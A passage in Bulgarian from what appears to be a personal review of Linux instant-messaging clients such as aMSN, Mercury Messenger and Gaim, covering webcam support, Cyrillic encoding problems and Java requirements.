Изключително удачна програма... Малко е тромава, но работи стабилно. Предполагам, че ако бях с някоя по-лека графична среда, щеше да работи по гладко. Плюс видеото, поддържа и voicechat, чрез плъгин, но пък трябва да си имате инсталиран XMMS на компа... Е, аз нямам, а и не желая. За да работи най-добре изисква инсталирането на още няколко пакета, налични на download-страницата на проекта. Препоръчва се и инсталирането на пакети с шрифтове, но нещо не ги открих...?! Определено не ми допадна особено. Има много претрупан интерфейс, с много нелогични менюта. Напомня по-скоро програмите за чат, отколкото за моментни съобщения - там с избор на стаи и пр. Друго, което ме издразни е това, че не възприема настройките за локал и енкодинг на средата. Иначе казано, кирилица няма... Та трябваше да си припомням как се пише на шльокавица, направо падение... :-D.
Все пак, ще кажа отново, че това е много добре направена програма, с поддръжка на протокол(и), чиито код не се мъдри на видно място в нета !
aMSN - клонинг на омразното на мнозина отроче на ония от Редмънт. Сайт на проекта http://amsn.sourceforge.net/index.php.
Моят избор е тази програмка. За потребителите на Сусе, пакетите ги има на ДВД-то. Те са 3 - основния пакет, плъгини и кожи . Явно разработка в напреднал стадий. Много добре направен интерфейс, с удобни и много логични менюта, безпроблемно настройване на webcam, засега без звук... Но затова пък пробвахме с един приятел да си приказваме по скайпа и да се гледаме по msn и беше без проблеми във връзката и за двете програми... Както ви харесва... Аз съм си сложил кожа и смайлита стил MAC OS и много ме кефят !
Mercury - messenger - java - базиран клиент, поддържащ MSN протокол. Сайт на проекта : http://www.mercury.to/index.php.
Доста обещаващ проект. Признавам си, грабна ме от пръв поглед. Но... Първо - инсталирането му е излишно усложнено. Понапреднал потребител на линукс не би трябвало да се затрудни, но лично аз трябваше два пъти да чета инструкциите. Изисква налична JRE - при мен е 1.5 не знам дали ще тръгне с някои от предишните версии. Но е глупаво човек да се тътри с нещо старо, като има по-ново... Също изисква инсталирана и работеща JVM... Авторите препоръчват да се свали тази от сайта на проекта. Изпълних аз всичко, стартирам програмата, но при настройките webcam я няма... просто си казва, че няма свързано устройство. След известен размисъл реших, все пак да си сваля JVM от източника - сайта на SUN - тя поне със сигурност би трябвало да работи. Речено, сторено - стартира се инсталера, преглеждам аз съобщенията - камерата е там : /dev/video0 ... копирам аз всичките библиотеки в съответната папка на mercury. Пускам го... без промяна - камера няма и няма. Бая чесане понесе главата ми, ама все толкова. Отворих аз и форума на сайта им и какво да гледам - там всеки втори пост с проблем като моя. Ясно-о-о проблема си е в самата програма, не в обкръжението. Отбелязвам минус - можеше поне да има нещо като списък с поддържаните устройства или препоръки за драйвери... Жалко все пак, защото програмата е доста добре направена. Е, по проекта се работи, така, че да вярваме в бъдещето.
------------------
Мисля само да спомена тук оригиналния месинджър на Yahoo за линукс ( като отидеш там веднага ти го предлагат). Нивото на разработка на тази програма, за мен показва само отношението на подобни гиганти към потребителите на линукс.
Не се спирам и на другия голям клиент за моментни съобщения -Gaim, по простата причина, че той е интегриран със средата GNOME, която аз не ползувам (*). Някой ако проявява любопитство може да го разчовърка, поне на теория би трябвало да не даде по-различен резултат от Kopete.

Така-а-а... спирам до тук. Възможно е да съм пропуснал доста, но си мисля, че и това не е малко. Изпитах доволство от получените резултати. Мисля, че доказах, преди всичко на себе си, доста напредналите възможности на Линукс за пълноценна комуникация с най-разпространените протоколи за моментни съобщения. Това ме радва, защото е поредния факт, показващ че той не е ОС само за сървъри, управление на мрежи и просто само за маниаци, сраснали се с монитора и клавиатурата, а и за ежедневни най-простички неща и удоволствия - за fun, както казват американците.
Надявам се тези мои писания да помогнат на някой търсещ, ако не с професионална информация по въпроса, поне с ориентиране, как стоят нещата към настоящия момент. И като отправна точка за по дълбоко ровене, според предпочитанията.
Успех !

==================================================================================

(*) Нещата така се завъртяха, че вече ползувам GNOME, също GAIM, който е на път да стане Pidgin... но видеоподдръжката му е зарязана от 2 години и, поне слуховете в мрежата са, че няма и да види бял свят.